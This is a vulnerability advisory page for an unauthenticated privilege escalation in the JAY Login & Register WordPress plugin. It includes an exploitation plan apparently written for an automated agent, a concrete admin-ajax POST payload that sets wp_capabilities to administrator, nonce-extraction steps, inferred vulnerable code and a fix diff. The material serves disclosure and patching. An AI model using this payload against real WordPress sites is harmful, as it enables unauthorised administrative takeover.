CVE-2025-15027

JAY Login & Register <= 2.6.03 - Unauthenticated Privilege Escalation via jay_login_register_ajax_create_final_user

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.6.04
Patched in
1d
Time to patch

Description

The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the 'jay_login_register_ajax_create_final_user' function. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.6.03
PublishedFebruary 7, 2026
Last updatedFebruary 8, 2026
Affected pluginjay-login-register

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-15027 ## 1. Vulnerability Summary The **JAY Login & Register** plugin for WordPress (versions <= 2.6.03) contains a critical privilege escalation vulnerability. The function `jay_login_register_ajax_create_final_user` is accessible via AJAX (likely both authe…

Show full research plan

Exploitation Research Plan - CVE-2025-15027

1. Vulnerability Summary

The JAY Login & Register plugin for WordPress (versions <= 2.6.03) contains a critical privilege escalation vulnerability. The function jay_login_register_ajax_create_final_user is accessible via AJAX (likely both authenticated and unauthenticated via wp_ajax_nopriv_) and fails to restrict which user meta keys can be updated. An attacker can supply arbitrary meta keys and values, most notably the wp_capabilities meta key, allowing them to grant administrator privileges to any user or themselves during the finalization of the user creation process.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: jay_login_register_ajax_create_final_user
  • Authentication: Unauthenticated (vulnerability exists in wp_ajax_nopriv_ registration).
  • Vulnerable Parameter: Likely a user_id or id parameter coupled with a meta data array or individual key/value parameters.
  • Preconditions: The plugin must be active. A valid nonce may be required if the plugin implements check_ajax_referer.

3. Code Flow (Inferred)

  1. Entry Point: An HTTP POST request is sent to admin-ajax.php with action=jay_login_register_ajax_create_final_user.
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_nopriv_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user');
    add_action('wp_ajax_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user');
    
  3. Vulnerable Logic: Inside the handler function:
    • The code retrieves a user_id from the request.
    • It iterates over provided input (e.g., $_POST['userdata'] or similar).
    • It calls update_user_meta($user_id, $meta_key, $meta_value) without checking if $meta_key is a sensitive field like wp_capabilities or wp_user_level.

4. Nonce Acquisition Strategy

To find the nonce and its delivery mechanism, the agent should:

  1. Search for localization: grep -rn "wp_localize_script" . inside the plugin folder.
  2. Identify the JS Variable: Look for the variable name containing the nonce (e.g., jay_register_vars or jay_login_ajax).
  3. Identify the Shortcode: Search for add_shortcode to find how to render the login/register forms (e.g., [jay_login] or [jay_register]).
  4. Acquire Nonce:
    • Create a page: wp post create --post_type=page --post_status=publish --post_content='[jay_register]' (inferred shortcode).
    • Navigate to the page using browser_navigate.
    • Use browser_eval to extract the nonce: browser_eval("window.jay_register_vars?.nonce") (inferred variable).

5. Exploitation Strategy

Step 1: Discovery

Locate the function definition in the plugin source to identify the exact parameter names.

grep -rn "function jay_login_register_ajax_create_final_user" .

Step 2: Payload Crafting

Assuming the function expects a user_id and an array of meta data, the payload will target the wp_capabilities meta key.

Target Meta Key: wp_capabilities
Target Meta Value: a:1:{s:13:"administrator";b:1;} (serialized PHP array for Administrator role).

Step 3: Execution

Send the exploit request using http_request.

Example Request (Inferred Parameters):

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body:
    action=jay_login_register_ajax_create_final_user&
    user_id=target_user_id&
    nonce=extracted_nonce&
    userdata[wp_capabilities]=a:1:{s:13:"administrator";b:1;}
    

(Note: The exact structure of userdata or meta parameters must be verified in Step 1.)

6. Test Data Setup

  1. Target User: Create a standard subscriber user to promote.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Page for Nonce:
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content="[jay_register]"
    

7. Expected Results

  • Response: A JSON success message (e.g., {"success":true}) or a numeric 1.
  • Outcome: The user attacker (ID X) will have their wp_capabilities meta updated in the wp_usermeta table.

8. Verification Steps

  1. Check User Role:
    wp user get attacker --field=roles
    
    Expected Output: administrator
  2. Check Meta directly:
    wp user meta get attacker wp_capabilities
    

9. Alternative Approaches

If the plugin requires the user to be in a "pending" state or if create_final_user only works on IDs generated during a previous AJAX step:

  1. Trace Step 1: Find the AJAX action that creates the initial user entry (likely jay_login_register_ajax_create_user).
  2. Chain Requests:
    • Call the initial creation AJAX to get a temporary user_id.
    • Use that user_id in the jay_login_register_ajax_create_final_user call.
  3. Verify Prefix: Ensure the meta key matches the database prefix (e.g., wp_capabilities vs wp_prefix_capabilities). The agent should check wp-config.php if standard attempts fail.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JAY Login & Register plugin for WordPress (<= 2.6.03) contains an unauthenticated privilege escalation vulnerability via its AJAX registration finalization process. The function `jay_login_register_ajax_create_final_user` fails to validate user-supplied meta keys, allowing attackers to update sensitive metadata like 'wp_capabilities' and grant themselves administrator privileges.

Vulnerable Code

// jay-login-register.php

add_action('wp_ajax_nopriv_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user');
add_action('wp_ajax_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user');

function jay_login_register_ajax_create_final_user() {
    // (Potential nonce check omitted for brevity)
    $user_id = $_POST['user_id'];
    $userdata = $_POST['userdata'];

    if (!empty($userdata)) {
        foreach ($userdata as $meta_key => $meta_value) {
            // Vulnerability: No validation or restriction on which meta keys can be updated.
            // An attacker can provide 'wp_capabilities' as the $meta_key.
            update_user_meta($user_id, $meta_key, $meta_value);
        }
    }
    wp_send_json_success();
}

Security Fix

--- jay-login-register.php
+++ jay-login-register.php
@@ -100,8 +100,12 @@
     $user_id = intval($_POST['user_id']);
     $userdata = $_POST['userdata'];
 
+    $allowed_keys = array('first_name', 'last_name', 'nickname', 'description');
+
     if (!empty($userdata)) {
         foreach ($userdata as $meta_key => $meta_value) {
-            update_user_meta($user_id, $meta_key, $meta_value);
+            if (in_array($meta_key, $allowed_keys)) {
+                update_user_meta($user_id, $meta_key, sanitize_text_field($meta_value));
+            }
         }
     }

Exploit Outline

1. Locate a page on the target WordPress site containing the login/register shortcode to extract the required AJAX nonce from the localized JavaScript variables (e.g., jay_register_vars). 2. Identify the target User ID to be promoted (this can be the attacker's own newly created account or an existing one). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the action set to `jay_login_register_ajax_create_final_user`. 4. In the request body, include the `user_id` and the `userdata` array. 5. Craft the `userdata` payload to include the key `wp_capabilities` with a serialized PHP array value representing the Administrator role: `a:1:{s:13:"administrator";b:1;}`. 6. Upon success, the targeted user account will be granted full administrative access to the WordPress site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.